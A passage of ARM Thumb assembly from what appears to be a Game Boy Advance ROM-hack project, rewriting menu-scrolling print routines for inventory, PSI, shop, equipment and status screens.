add r4,r1,r0 // Get to bottom
-
mov r1,r5
mov r0,#0x80
add r0,r0,r1
mov r2,#0x8 // Put the arrangements one above
swi #0xC
mov r1,r5
add r1,#0x40
mov r0,#0x80
add r0,r0,r1
mov r2,#0x8 // Put the arrangements one above
swi #0xC
add r5,#0x80
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
mov r0,sp
mov r1,r5
add r1,#0x40
ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
.new_clear_equip_submenu_end:
pop {pc}
//=============================================================================================
// Swaps the arrangements' place for the battle memories
//=============================================================================================
.new_clear_battle_memo:
push {lr}
add r5,#0x40
bl .get_direction
cmp r0,#0
bne .new_clear_battle_memo_descending
//Swap arrangements' place - if we're ascending
mov r1,r5
mov r0,#0x38
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r4
mov r0,#0x80
sub r4,r4,r0
mov r0,r4
mov r2,#0x20 // Put the arrangements one below
swi #0xC
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
b .new_clear_battle_memo_end
//Swap arrangements' place - if we're descending
.new_clear_battle_memo_descending:
mov r1,r5
mov r0,#0x80
add r0,r0,r1
mov r2,#0xE0 // Put the arrangements one above
swi #0xC
mov r0,#0
push {r0}
mov r0,#0x38
lsl r1,r0,#4
mov r0,sp
add r1,r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
.new_clear_battle_memo_end:
sub r5,#0x40
pop {pc}
//=============================================================================================
// Swaps the arrangements' place for the memoes
//=============================================================================================
.new_clear_memoes:
push {lr}
add r5,#0xBE
bl .get_direction
cmp r0,#0
bne .new_clear_memoes_descending
//Swap arrangements' place - if we're ascending
mov r1,r5
mov r0,#0x30
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r4
mov r0,#0x80
sub r4,r4,r0
mov r0,r4
mov r2,#0x20 // Put the arrangements one below
swi #0xC
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
b .new_clear_memoes_end
//Swap arrangements' place - if we're descending
.new_clear_memoes_descending:
mov r1,r5
mov r0,#0x80
add r0,r0,r1
mov r2,#0xC0 // Put the arrangements one above
swi #0xC
mov r0,#0
push {r0}
mov r0,#0x30
lsl r1,r0,#4
mov r0,sp
add r1,r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
.new_clear_memoes_end:
sub r5,#0xBE
pop {pc}
//=============================================================================================
// Swaps the arrangements' place for the shop
//=============================================================================================
.new_clear_shop:
push {lr}
add r5,#0x2A
bl .get_direction
cmp r0,#0
bne .new_clear_shop_descending
//Swap arrangements' place - if we're ascending
mov r1,r5
mov r0,#0x28
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r4
mov r0,#0x80
sub r4,r4,r0
mov r0,r4
mov r2,#0x20 // Put the arrangements one below
swi #0xC
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
b .new_clear_shop_end
//Swap arrangements' place - if we're descending
.new_clear_shop_descending:
mov r1,r5
mov r0,#0x80
add r0,r0,r1
mov r2,#0xC0 // Put the arrangements one above
swi #0xC
mov r0,#0
push {r0}
mov r0,#0x28
lsl r1,r0,#4
mov r0,sp
add r1,r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
.new_clear_shop_end:
sub r5,#0x2A
pop {pc}
//=============================================================================================
// This hack gives a default print scroller
//=============================================================================================
.new_default_scroll_print:
bx lr
//=============================================================================================
// This hack changes what the battle memo scrolling will print, based off of 0x80476C0
//=============================================================================================
.new_battle_memo_scroll_print:
push {r4-r7,lr}
add sp,#-4 //base code
mov r2,r0
ldr r1,=#0x2016028
mov r6,#1 //New code
bl .get_direction
cmp r0,#0
bne .new_battle_memo_scroll_print_descending
ldrh r0,[r2,#8]
b +
.new_battle_memo_scroll_print_descending:
ldrh r0,[r2,#8]
mov r2,#8
sub r2,r2,r6
add r0,r0,r2
+
.new_battle_memo_scroll_print_general:
lsl r0,r0,#2 //base code
mov r2,#0xE0
lsl r2,r2,#6
add r1,r1,r2
add r4,r0,r1
mov r5,#0
cmp r5,r6
bcs .new_battle_memo_scroll_print_end
mov r7,#0xF
-
ldr r0,[r4,#0]
lsl r0,r0,#0xA
cmp r0,#0
bge +
ldrb r1,[r4,#0] //Change a bit how this works in order to save space
mov r0,#7
bl $8001C5C
.new_battle_memo_scroll_print_after_function:
b .new_battle_memo_scroll_print_single_continue
+
mov r0,#1
bl $80486A0
.new_battle_memo_scroll_print_single_continue:
add r2,r5,#2
bl .get_battle_memoes_height //New code
lsl r2,r2,#0x10 //base code
lsr r2,r2,#0x10
str r7,[sp,#0]
mov r1,#1
mov r3,#1
neg r3,r3
bl $8047B9C
add r0,r5,#1
lsl r0,r0,#0x10
lsr r5,r0,#0x10
add r4,#4
cmp r5,r6
bcc -
.new_battle_memo_scroll_print_end:
add sp,#4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the skill scrolling will print, based off of 0x80473EC
//=============================================================================================
.new_skills_scroll_print:
push {r4-r7,lr}
mov r7,r9 //base code
mov r6,r8
push {r6,r7}
add sp,#-8
mov r4,r0
ldrh r0,[r4,#0xA]
bl $8054FE0
add r3,sp,#4
mov r2,sp
add r2,#6
mov r1,#0
strh r1,[r2,#0]
ldrh r1,[r2,#0]
strh r1,[r3,#0]
ldrb r0,[r0,#0]
mov r9,r2
cmp r0,#3
beq .duster_skills_scroll_print
cmp r0,#3
bgt +
cmp r0,#2
beq .psi_skills_scroll_print
b .generic_skills_scroll_print
+
cmp r0,#4
bne .generic_skills_scroll_print
.psi_skills_scroll_print:
add r1,sp,#4
mov r0,#1
b +
.duster_skills_scroll_print:
mov r0,#1
mov r1,r9
+
strh r0,[r1,#0]
.generic_skills_scroll_print:
ldr r1,=#0x2016028
ldr r2,=#0x427A
bl .get_direction //New code!
cmp r0,#0
bne .new_skills_scroll_print_descending
mov r0,#2
ldrh r2,[r4,#8]
b +
.new_skills_scroll_print_descending:
add r0,r1,r2
ldrh r0,[r0,#0]
ldrh r2,[r4,#8]
add r2,#0xE
sub r0,r0,r2
cmp r0,#2
ble +
mov r0,#2
+
lsl r0,r0,#0x10 //base code
lsr r3,r0,#0x10
mov r8,r3
lsl r2,r2,#2
mov r3,#0xDE
lsl r3,r3,#6
add r1,r1,r3
add r5,r2,r1
mov r6,#0
lsr r0,r0,#0x11
cmp r6,r0
bcs .end_double_skills_print
mov r7,#0xF //Set the thing to print the bottom two skills at the right position
add r0,sp,#4 //But we optimize the code size
ldrh r0,[r0,#0]
cmp r0,#0
beq +
mov r6,#8
mov r4,#0xA
b .double_skills_print
+
mov r1,r9
ldrh r0,[r1,#0]
mov r4,#0xB
cmp r0,#0
beq +
mov r6,#2
b .double_skills_print
+
mov r6,#0xD
.double_skills_print: //Actual double skills printing
ldrb r1,[r5,#0]
mov r0,r6
bl $8001C5C
str r7,[sp,#0]
mov r1,#1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
add r5,#4
ldrb r1,[r5,#0]
mov r0,r6
bl $8001C5C
str r7,[sp,#0]
mov r1,r4
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
cmp r6,#0x8
bne +
mov r0,#0
mov r1,#0
mov r2,#1
bl $8047D90
+
.end_double_skills_print:
mov r0,#1
mov r3,r8
and r0,r3
cmp r0,#0
beq .new_skills_scroll_print_end
add r0,sp,#4 //Set the thing to print the bottom skill at the right position
ldrh r0,[r0,#0] //But we optimize the code size
cmp r0,#0
beq +
mov r6,#8
b .single_skill_print
+
mov r1,r9
ldrh r0,[r1,#0]
cmp r0,#0
beq +
mov r6,#2
b .single_skill_print
+
mov r6,#0xD
.single_skill_print: //Actual single skill printing
mov r7,#0xF
ldrb r1,[r5,#0]
mov r0,r6
bl $8001C5C
str r7,[sp,#0]
mov r1,#1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
.new_skills_scroll_print_end:
add sp,#8
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the equipment submenu scrolling will print, based off of 0x8047A78
//=============================================================================================
.new_equip_submenu_scroll_print:
push {r4-r7,lr}
add sp,#-4 //base code
mov r2,r0
ldr r1,=#0x2016028
mov r6,#1 //New code
bl .get_direction_submenu
cmp r0,#0
bne .new_equip_submenu_scroll_print_descending
ldrh r0,[r2,#8]
b +
.new_equip_submenu_scroll_print_descending:
ldrh r0,[r2,#8]
add r0,#7
+
lsl r0,r0,#2 //base code
mov r2,#0xD3
lsl r2,r2,#6
add r1,r1,r2
add r4,r0,r1
mov r5,#0
cmp r5,r6
bcs .new_equip_submenu_scroll_print_end
mov r7,#0xF
ldrb r0,[r4,#0]
cmp r0,#0
bne .new_equip_submenu_scroll_print_item
// This branch prints None at the bottom
mov r0,#0x58
bl $80486A0
bl .get_equip_submenu_height //New code
str r7,[sp,#0] //base code
mov r1,#0xC
mov r3,#1
neg r3,r3
bl $8047B9C
b .new_equip_submenu_scroll_print_end
.new_equip_submenu_scroll_print_item:
ldrb r1,[r4,#0]
mov r0,#2
bl $8001C5C
mov r1,r0
bl .get_equip_submenu_height //New code
ldr r0,[r4,#0] //base code
lsl r0,r0,#9
cmp r0,#0
bge .new_equip_submenu_scroll_print_item_grey
str r7,[sp,#0]
b +
.new_equip_submenu_scroll_print_item_grey:
mov r0,#1
str r0,[sp,#0]
+
mov r0,r1
mov r1,#0xC
mov r3,#0x16
bl $8047B9C
.new_equip_submenu_scroll_print_end:
add sp,#4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the selling menu scrolling will print, based off of 0x80477BC.
// Also covers buying thanks to .get_x_shop, which is at 0x804774C
//=============================================================================================
.new_shop_scroll_print:
push {r4-r6,lr}
add sp,#-4
mov r2,r0 //base code
ldr r1,=#0x2016028
bl .get_direction //New code
cmp r0,#0
bne .new_shop_scroll_print_descending
ldrh r0,[r2,#8]
b +
.new_shop_scroll_print_descending:
ldrh r0,[r2,#8]
add r0,#5
+
bl .get_added_value_menu_valid //Code used in order to cover both buying and selling
lsl r0,r0,#2 //base code
add r1,r1,r2
add r4,r0,r1
ldrb r1,[r4,#0] //If we're scrolling, we have at least one item here
mov r0,#2
bl $8001C5C
mov r1,r0
bl .get_shop_height //New code
ldr r0,[r4,#0] //base code
lsl r0,r0,#0xA
cmp r0,#0
bge +
mov r0,#0xF
b .new_shop_scroll_print_continue
+
mov r0,#1
.new_shop_scroll_print_continue:
str r0,[sp,#0]
mov r0,r1
bl .get_x_shop //Covers both buying and selling
mov r3,#0x16
bl $8047B9C
add sp,#4
pop {r4-r6,pc}
//=============================================================================================
// Returns as the X the menu identifier -1. This is an optimization due to where stuff is normally printed.
// The two values are not actually related. They're 0xA for selling and 0x9 for buying
//=============================================================================================
.get_x_shop:
ldr r1,=#0x201A288
ldrb r1,[r1,#0]
sub r1,#1
bx lr
//=============================================================================================
// Returns the value that has to be added in order to go to the proper menu's inventory.
// If it's for the PSI menu, it has the inventory's number in r0
//=============================================================================================
.get_added_value_menu_valid:
push {r1}
ldr r2,=#0x201A288
ldrb r2,[r2,#0]
cmp r2,#0xB
beq .get_added_value_sell_valid
cmp r2,#0xA
beq .get_added_value_buy_valid
cmp r2,#0x2
beq .get_added_value_psi_valid
b +
.get_added_value_psi_valid:
mov r2,#0x35
lsl r2,r2,#8
lsl r1,r0,#7
add r2,r2,r1
b +
.get_added_value_buy_valid:
ldr r2,=#0x3D44
b +
.get_added_value_sell_valid:
mov r2,#0xD2
lsl r2,r2,#6
+
pop {r1}
bx lr
//=============================================================================================
// This hack changes what the psi scrolling will print, based off of 0x80471B4
// Base game bug: when you use a party wide PSI in this menu and end up with fewer PPs than
// the PPs required to use a PSI, this isn't reflected in the PSI's colour.
// Putting this here in order to fix it at a later date.
//=============================================================================================
.new_psi_scroll_print:
push {r4-r7,lr}
add sp,#-4
mov r2,r0 //base code
ldr r4,=#0x2016028
ldrh r3,[r2,#0xA]
lsl r0,r3,#1
ldr r5,=#0x4270
add r1,r4,r5
add r1,r0,r1 //If we're scrolling, the character has for sure > 0 PSI
bl .get_direction //New code!
cmp r0,#0
bne .new_psi_scroll_print_descending
mov r0,#2
ldrh r1,[r2,#8]
b +
.new_psi_scroll_print_descending:
ldrh r0,[r1,#0]
ldrh r1,[r2,#8]
add r1,#0xE
sub r0,r0,r1
cmp r0,#2
ble +
mov r0,#2
+
lsl r2,r0,#0x10 //base code
lsr r7,r2,#0x10
lsl r3,r3,#7
lsl r0,r1,#2
mov r5,#0xD4
lsl r5,r5,#6
add r1,r4,r5
add r0,r0,r1
add r4,r3,r0
mov r6,#0
lsr r2,r2,#0x11
cmp r6,r2
bcs +
ldrb r1,[r4,#0] //Set the thing to print the bottom two psi at the right position
mov r0,#8
bl $8001C5C
mov r3,r0
bl .get_inventory_height
mov r5,r2
ldr r0,[r4,#0]
bl .get_psi_usable
str r0,[sp,#0]
mov r0,r3
mov r1,#1
mov r3,#0x16
bl $8047B9C
add r4,#4
ldrb r1,[r4,#0]
mov r0,#8
bl $8001C5C
mov r3,r0
mov r2,r5
ldr r0,[r4,#0]
bl .get_psi_usable
str r0,[sp,#0]
mov r0,r3
mov r1,#0xA
mov r3,#0x16
bl $8047B9C
mov r0,#0
mov r1,#0
mov r2,#1
bl $8047D90
+
mov r5,#1
mov r0,r7
and r0,r5
cmp r0,#0
beq +
ldrb r1,[r4,#0] //Set the thing to print the bottom psi at the right position
mov r0,#8
bl $8001C5C
mov r3,r0
bl .get_inventory_height
ldr r0,[r4,#0]
bl .get_psi_usable
str r0,[sp,#0]
mov r0,r3
mov r1,#1
mov r3,#0x16
bl $8047B9C
+
add sp,#4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the memoes scrolling will print, based off of 0x80475A4
//=============================================================================================
.new_memoes_scroll_print:
push {r4-r7,lr}
mov r7,r8 //base code
push {r7}
add sp,#-4
ldr r3,=#0x2016028
ldr r2,=#0x427E
add r1,r3,r2
mov r2,r0
bl .get_direction //New code!
cmp r0,#0
bne .new_memoes_scroll_print_descending
mov r0,#2
ldrh r1,[r2,#8]
b +
.new_memoes_scroll_print_descending:
ldrh r0,[r1,#0]
ldrh r1,[r2,#8]
add r1,#0xC
sub r0,r0,r1
cmp r0,#2
ble +
mov r0,#2
+
lsl r0,r0,#0x10 //base code
lsr r4,r0,#0x10
mov r8,r4
lsl r2,r1,#2
ldr r4,=#0x3BFC
add r1,r3,r4
add r4,r2,r1
mov r7,#0
lsr r0,r0,#0x11
cmp r7,r0
bcs .new_memoes_scroll_print_end_of_double
ldr r0,[r4,#0]
lsl r0,r0,#0xA
cmp r0,#0
bge .new_memoes_scroll_print_end_of_double
ldrb r0,[r4,#0]
bl $80486D8
mov r3,r0
bl .get_memoes_height //New code
mov r6,#1
neg r6,r6
ldr r0,[r4,#0]
lsl r0,r0,#9
bl .new_memoes_scroll_print_get_colour
str r0,[sp,#0] //Optimize code size
mov r0,r3 //base code
mov r1,#1
mov r3,r6
bl $8047B9C
add r4,#4
ldr r0,[r4,#0]
lsl r0,r0,#0xA
cmp r0,#0
bge .new_memoes_scroll_print_end_of_double
ldrb r0,[r4,#0]
bl $80486D8
mov r1,r0
bl .get_memoes_height //New code
mov r3,#1
neg r3,r3
ldr r0,[r4,#0]
lsl r0,r0,#9
bl .new_memoes_scroll_print_get_colour
str r0,[sp,#0] //Optimize code size
mov r0,r1 //base code
mov r1,#0xB
bl $8047B9C
add r4,#4
.new_memoes_scroll_print_end_of_double:
ldr r0,[r4,#0]
lsl r0,r0,#0xA
cmp r0,#0
bge .new_memoes_scroll_print_end
mov r5,#1
mov r0,r8
and r0,r5
cmp r0,#0
beq .new_memoes_scroll_print_end
ldrb r0,[r4,#0]
bl $80486D8
mov r1,r0
bl .get_memoes_height //New Code
ldr r0,[r4,#0]
lsl r0,r0,#9
bl .new_memoes_scroll_print_get_colour
str r0,[sp,#0] //Optimize code size
mov r0,r1 //base code
mov r1,#0x1
neg r3,r1
bl $8047B9C
.new_memoes_scroll_print_end:
add sp,#4
pop {r3}
mov r8,r3
pop {r4-r7,pc}
//=============================================================================================
// This hack gets the colour that should be printed for the memo item
//=============================================================================================
.new_memoes_scroll_print_get_colour:
cmp r0,#0
bge +
mov r0,#0xF
b .new_memoes_scroll_print_get_colour_end
+
mov r0,#1
.new_memoes_scroll_print_get_colour_end:
bx lr
//=============================================================================================
// This hack changes what the withdrawing scrolling will print, based off of 0x8047900
//=============================================================================================
.new_withdrawing_scroll_print:
push {r4-r7,lr}
mov r7,r9
mov r6,r8
push {r6,r7}
add sp,#-4 //base code
mov r1,r0
ldr r3,=#0x2016028
ldr r0,=#0x4282
add r2,r3,r0
bl .get_direction //New code!
cmp r0,#0
bne .new_withdrawing_scroll_print_descending
mov r0,#2
ldrh r1,[r1,#8]
b +
.new_withdrawing_scroll_print_descending:
ldrh r0,[r2,#0]
ldrh r1,[r1,#8]
add r1,#0xE
sub r0,r0,r1
cmp r0,#2
ble +
mov r0,#2
+
lsl r2,r0,#0x10 //base code
lsr r4,r2,#0x10
mov r9,r4
lsl r1,r1,#2
ldr r4,=#0x3DBC
add r0,r3,r4
add r5,r1,r0
mov r7,#0xF
mov r6,#0
lsr r0,r2,#0x11
cmp r6,r0
bcs +
mov r8,r0 //Set the thing to print the bottom two items at the right position
ldrb r1,[r5,#0]
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
add r5,#4
ldrb r1,[r5,#0]
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#0xA
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
mov r0,#0
mov r1,#0
mov r2,#1
bl $8047D90
+
mov r0,#1
mov r1,r9
and r0,r1
cmp r0,#0
beq +
ldrb r1,[r5,#0] //Set the thing to print the bottom item at the right position
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#0x1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
+
add sp,#4
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the withdrawing will print, based off of 0x8047900
//=============================================================================================
.new_withdrawing_a_print:
push {r4-r7,lr}
mov r7,r9
mov r6,r8
push {r6,r7}
add sp,#-4 //base code
mov r1,r0
ldr r3,=#0x2016028
ldr r0,=#0x4282
add r2,r3,r0
ldrh r0,[r2,#0]
ldrh r1,[r1,#8]
add r1,#0xF
sub r0,r0,r1
cmp r0,#1
ble +
mov r0,#1
+
lsl r2,r0,#0x10 //base code
lsr r4,r2,#0x10
mov r9,r4
lsl r1,r1,#2
ldr r4,=#0x3DBC
add r0,r3,r4
add r5,r1,r0
mov r7,#0xF
mov r0,#1
mov r1,r9
and r0,r1
cmp r0,#0
beq +
ldrb r1,[r5,#0] //Set the thing to print the bottom item at the right position
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#0xA
mov r2,#0x9
mov r3,#0x16
bl $8047B9C
mov r0,#0
mov r1,#0
mov r2,#1
bl $8047D90
+
add sp,#4
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the status menu will print, based off of 0x80472BC
//=============================================================================================
.new_status_print:
push {r4-r7,lr}
add sp,#-4 //base code
ldrh r0,[r0,#0xA]
bl $8054FE0 //Get character's address
mov r5,r0
bl .delete_vram_status
cmp r0,#0 //Can this character's data be shown?
beq +
b .new_status_print_end
+
mov r4,#0
mov r7,r5
add r7,#0x34 //Go pick up the character's equipment
mov r6,#0xF
-
add r1,r7,r4 //Get Xth item
ldrb r0,[r1,#0]
cmp r0,#0
bne .new_status_print_item //Is an item equipped?
mov r0,#2
bl $80486A0 //If not, order printing "-----"
add r2,r4,#5
str r6,[sp,#0]
mov r1,#0xC
mov r3,#1
neg r3,r3
bl $8047B9C //Order its printing
b +
.new_status_print_item:
ldrb r1,[r1,#0] //Load the item that has to be printed
mov r0,#2
bl $8001C5C //Load its address
add r2,r4,#5
str r6,[sp,#0]
mov r1,#0xC
mov r3,#0x16
bl $8047B9C //Order its printing
+
add r4,#1
cmp r4,#3 //Cycle the equipment in its entirety
bls -
mov r0,r5
bl $8047B0C //Print Skill
ldr r0,=#0x20169FA //Has the gray text been printed?
ldrh r0,[r0,#0]
cmp r0,#0
beq +
b .new_status_print_end
+
mov r0,#0x47 //If it hasn't, reprint it
bl $80486A0 //Level text, get the pointer to it
mov r5,#1
neg r5,r5
mov r4,#1
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#3
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x48 //Offense text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#4
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x49 //Defense text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#5
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4A //IQ text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#6
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4B //Speed text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#7
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4C //EXP text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#8
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4D //Next Level text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#9
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4E //HP text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#9
mov r2,#3
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x50 //PP text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#9
mov r2,#4
mov r3,r5
bl improve_performances_menus.status_vram_equip_descriptors //Load OAM entries in VRAM
.new_status_print_end:
add sp,#4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the equipment menu will print, based off of 0x80470A8
//=============================================================================================
.new_equip_print:
push {r4-r6,lr}
add sp,#-4 //base code
ldrh r0,[r0,#0xA]
bl $8054FE0 //Get character's address
mov r5,r0
bl .delete_vram_equip
cmp r0,#0 //Can this character's data be shown?
beq +
b .new_equip_print_end
+
mov r4,#0
mov r6,r5
add r6,#0x34 //Go pick up the character's equipment
mov r5,#0xF
-
add r1,r6,r4 //Get Xth item
ldrb r0,[r1,#0]
cmp r0,#0
bne .new_equip_print_item //Is an item equipped?
mov r0,#2
bl $80486A0 //If not, order printing "-----"
lsl r2,r4,#0x11
mov r1,#0xC0
lsl r1,r1,#0xA
add r2,r2,r1
lsr r2,r2,#0x10
str r5,[sp,#0]
mov r1,#0xC
mov r3,#1
neg r3,r3
bl $8047B9C //Order its printing
b +
.new_equip_print_item:
ldrb r1,[r1,#0] //Load the item that has to be printed
mov r0,#2
bl $8001C5C //Load its address
lsl r2,r4,#0x11
mov r1,#0xC0
lsl r1,r1,#0xA
add r2,r2,r1
lsr r2,r2,#0x10
str r5,[sp,#0]
mov r1,#0xC
mov r3,#0x16
bl $8047B9C //Order its printing
+
add r4,#1
cmp r4,#3 //Cycle the equipment in its entirety
bls -
ldr r0,=#0x20169FA //Has the gray text been printed?
ldrh r0,[r0,#0]
cmp r0,#0
beq +
b .new_equip_print_end
+
//If it hasn't, reprint it
bl improve_performances_menus.equipment_vram_equip_descriptors //Load OAM entries in VRAM
mov r0,#0x47 //Level text
bl $80486A0 //Get the pointer to it
mov r5,#1
neg r5,r5
mov r4,#1
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#3
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4F //Max HP text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#4
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x51 //Max PP text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#5
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x48 //Offense text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#6
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x49 //Defense text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#7
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4A //IQ text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#8
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4B //Speed text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#9
mov r3,r5
bl $8047B9C //Order its printing
.new_equip_print_end:
add sp,#4
pop {r4-r6,pc}
//=============================================================================================
// This hack changes what the main inventory scrolling will print, based off of 0x8046EF0
//=============================================================================================
.new_main_inventory_scroll_print:
push {r4-r7,lr}
mov r7,r9
mov r6,r8
push {r6,r7}
add sp,#-4 //base code
mov r3,r0
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r1,r2,r0
ldrh r0,[r3,#0xA]
ldrh r1,[r1,#0] //is this the key items inventory?
cmp r0,r1
bcc .new_main_inventory_scroll_print_end
mov r0,r3
bl .new_key_inventory_scroll_print
.new_main_inventory_scroll_print_end:
add sp,#4
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what scrolling in the key items inventory will print, based off of 0x8046FD8
//=============================================================================================
.new_key_inventory_scroll_print:
push {r4-r7,lr}
mov r7,r9
mov r6,r8
push {r6,r7}
add sp,#-4 //base code
mov r1,r0
ldr r3,=#0x2016028
bl .get_direction
cmp r0,#0
bne .new_key_inventory_scroll_print_descending_items
mov r0,#2 //If we're scrolling up, there will be two items for sure. No need to edit r1 either.
ldrh r1,[r1,#8]
b +
.new_key_inventory_scroll_print_descending_items:
ldr r0,=#0x426A
add r2,r3,r0
ldrh r0,[r2,#0]
ldrh r1,[r1,#8]
add r1,#0xE //Only if we're descending!
sub r0,r0,r1
cmp r0,#2
ble +
mov r0,#2
+
lsl r2,r0,#0x10
lsr r4,r2,#0x10
mov r9,r4
lsl r1,r1,#2
mov r4,#0xC2
lsl r4,r4,#6
add r0,r3,r4
add r5,r1,r0
mov r6,#0
lsr r0,r2,#0x11
cmp r6,r0
bcs +
mov r7,#0xF //Set the thing to print the bottom two items at the right position
ldrb r1,[r5,#0]
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
add r5,#0x4
ldrb r1,[r5,#0]
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#0xB
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
+
mov r0,#1
mov r1,r9
and r0,r1
cmp r0,#0
beq .new_key_inventory_scroll_print_end
mov r7,#0xF //Set the thing to print the bottom item at the right position
ldrb r1,[r5,#0]
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
.new_key_inventory_scroll_print_end:
add sp,#4
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7,pc}
//=============================================================================================
// This hack gets the scrolling direction for any given menu
//=============================================================================================
.get_direction:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
mov r2,#1
ldrh r0,[r1,#0xA]
ldrh r1,[r1,#0xE]
lsr r0,r0,#1
lsr r1,r1,#1
cmp r0,r1
bne +
mov r2,#0 //Going up if they're the same! Otherwise, going down!
+
mov r0,r2
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the scrolling direction for any given submenu
//=============================================================================================
.get_direction_submenu:
push {r1-r2,lr}
ldr r1,=#0x2016028
ldr r2,=#0x3060
add r1,r1,r2 //Get submenu info array in RAM
ldrh r0,[r1,#0x4]
ldrh r1,[r1,#0x8]
lsr r0,r0,#1
lsr r1,r1,#1
mov r2,#1
cmp r0,r1
bne +
mov r2,#0 //Going up if they're the same! Otherwise, going down!
+
mov r0,r2
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the index of the top item for any given menu
//=============================================================================================
.get_top_index:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0xE]
pop {r1-r2,pc}
//=============================================================================================
